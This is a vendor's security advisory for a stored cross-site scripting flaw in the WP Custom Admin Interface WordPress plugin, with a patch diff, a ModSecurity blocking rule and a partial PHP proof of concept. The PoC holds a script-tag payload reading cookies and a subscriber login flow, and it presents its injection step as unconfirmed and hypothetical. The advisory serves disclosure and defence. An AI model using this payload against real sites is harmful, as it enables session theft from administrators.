Atomic Edge analysis of CVE-2026-32521:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WP Custom Admin Interface WordPress plugin. The issue affects plugin versions up to and including 7.42. It allows attackers with subscriber-level or higher permissions to inject arbitrary JavaScript into the plugin’s administrative interface, which then executes in the context of any user viewing the affected page. The CVSS score of 6.4 reflects a medium severity rating.
The root cause is insufficient output escaping for user-supplied data in the plugin’s user selection interface. The vulnerable code resides in the file `wp-custom-admin-interface/inc/options/options-output.php` at line 1979. The `echo` statement directly concatenates the variables `$userId`, `$userDisplayName`, and `$userRole` into an HTML span element without sanitization. These variables originate from WordPress user objects. A second vulnerable location exists in `wp-custom-admin-interface.php` at line 1880, where the same variables are concatenated into the `$outputOfUsersAndRolesSelection` string without escaping.
Exploitation requires an authenticated attacker with at least subscriber privileges. The attack vector is the plugin’s administrative AJAX endpoint or form handler used to manage user visibility settings. An attacker would submit a malicious payload within their own display name or user ID field, which the plugin then unsafely reflects. The payload would be stored and executed when an administrator or other user loads the plugin’s settings page, triggering the `echo` statement in `options-output.php`.
The patch adds proper output escaping functions. In `options-output.php`, the fix wraps `$userId` with `esc_attr()` for the HTML data attribute and wraps `$userDisplayName` and `$userRole` with `esc_html()` for content within the span. In `wp-custom-admin-interface.php`, the fix applies `esc_html()` to `$userDisplayName` and `intval()` to `$userId` before concatenation. These functions neutralize HTML control characters, preventing script execution. The plugin version number is also incremented to 7.43.
Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions as the victim user, deface the admin interface, or redirect users to malicious sites. Since the vulnerability requires only subscriber-level access, a large user base could potentially exploit it. The impact is limited to the WordPress admin area, but this still provides a significant foothold for further compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-custom-admin-interface/inc/options/options-output.php
+++ b/wp-custom-admin-interface/inc/options/options-output.php
@@ -1979,7 +1979,7 @@
- echo '<li class="user-item"><div><i class="fa fa-eye-slash remove-user-item" title="Hide user" aria-hidden="true"></i><span id="user-name" style="font-weight: bold;" data="'.$userId.'">'.$userDisplayName.' <em style="font-weight: normal;">('.$userRole.')</em></span></div></li>';
+ echo '<li class="user-item"><div><i class="fa fa-eye-slash remove-user-item" title="Hide user" aria-hidden="true"></i><span id="user-name" style="font-weight: bold;" data="'.esc_attr($userId).'">'.esc_html($userDisplayName).' <em style="font-weight: normal;">('.esc_html($userRole).')</em></span></div></li>';
}
//end container
--- a/wp-custom-admin-interface/wp-custom-admin-interface.php
+++ b/wp-custom-admin-interface/wp-custom-admin-interface.php
@@ -4,7 +4,7 @@
* Plugin Name: WP Custom Admin Interface
* Plugin URI: https://www.northernbeacheswebsites.com.au
* Description: Customise the WordPress admin and login interfaces and customize the WordPress dashboard menu.
-* Version: 7.42
+* Version: 7.43
* Author: Martin Gibson
* Developer: Northern Beaches Websites
* Developer URI: https://www.northernbeacheswebsites.com.au
@@ -1877,8 +1877,7 @@
$userDisplayName = $userFirstName.' '.$userLastName;
}
-
- $outputOfUsersAndRolesSelection .= 'User: '.$userDisplayName.'('.$userId.'),';
+ $outputOfUsersAndRolesSelection .= 'User: '.esc_html($userDisplayName).'('.intval($userId).'),';
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32521
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:100032521,phase:2,deny,status:403,chain,msg:'CVE-2026-32521 via WP Custom Admin Interface AJAX',severity:'CRITICAL',tag:'CVE-2026-32521',tag:'wordpress',tag:'wp-plugin',tag:'xss'"
SecRule ARGS_POST:action "@rx ^wp_custom_admin_" "chain"
SecRule ARGS_POST "@rx ["'<>]"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32521 - WP Custom Admin Interface <= 7.42 - Authenticated (Subscriber+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Payload to inject into the user's display name
// This will execute when an admin views the plugin settings
$malicious_display_name = '"><script>alert(document.cookie)</script>';
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
// Check for a successful login by looking for the admin dashboard URL
if (strpos($login_response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// The plugin likely uses an AJAX action or admin POST handler to update user settings.
// The exact endpoint and parameter names must be identified through reverse engineering.
// This PoC outlines the attack flow but requires the specific action hook.
// Example AJAX request structure (uncomment and fill correct action/params):
/*
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'wp_custom_admin_update_user', // Hypothetical action name
'user_display_name' => $malicious_display_name,
'nonce' => 'retrieved_nonce_from_page'
)));
$ajax_response = curl_exec($ch);
*/
// After injection, the payload will be stored.
// When an administrator visits the plugin's settings page (e.g., /wp-admin/admin.php?page=wp-custom-admin-interface),
// the malicious script will execute in their browser.
echo 'Proof of concept framework. Specific endpoint and parameters require further investigation.n';
curl_close($ch);
?>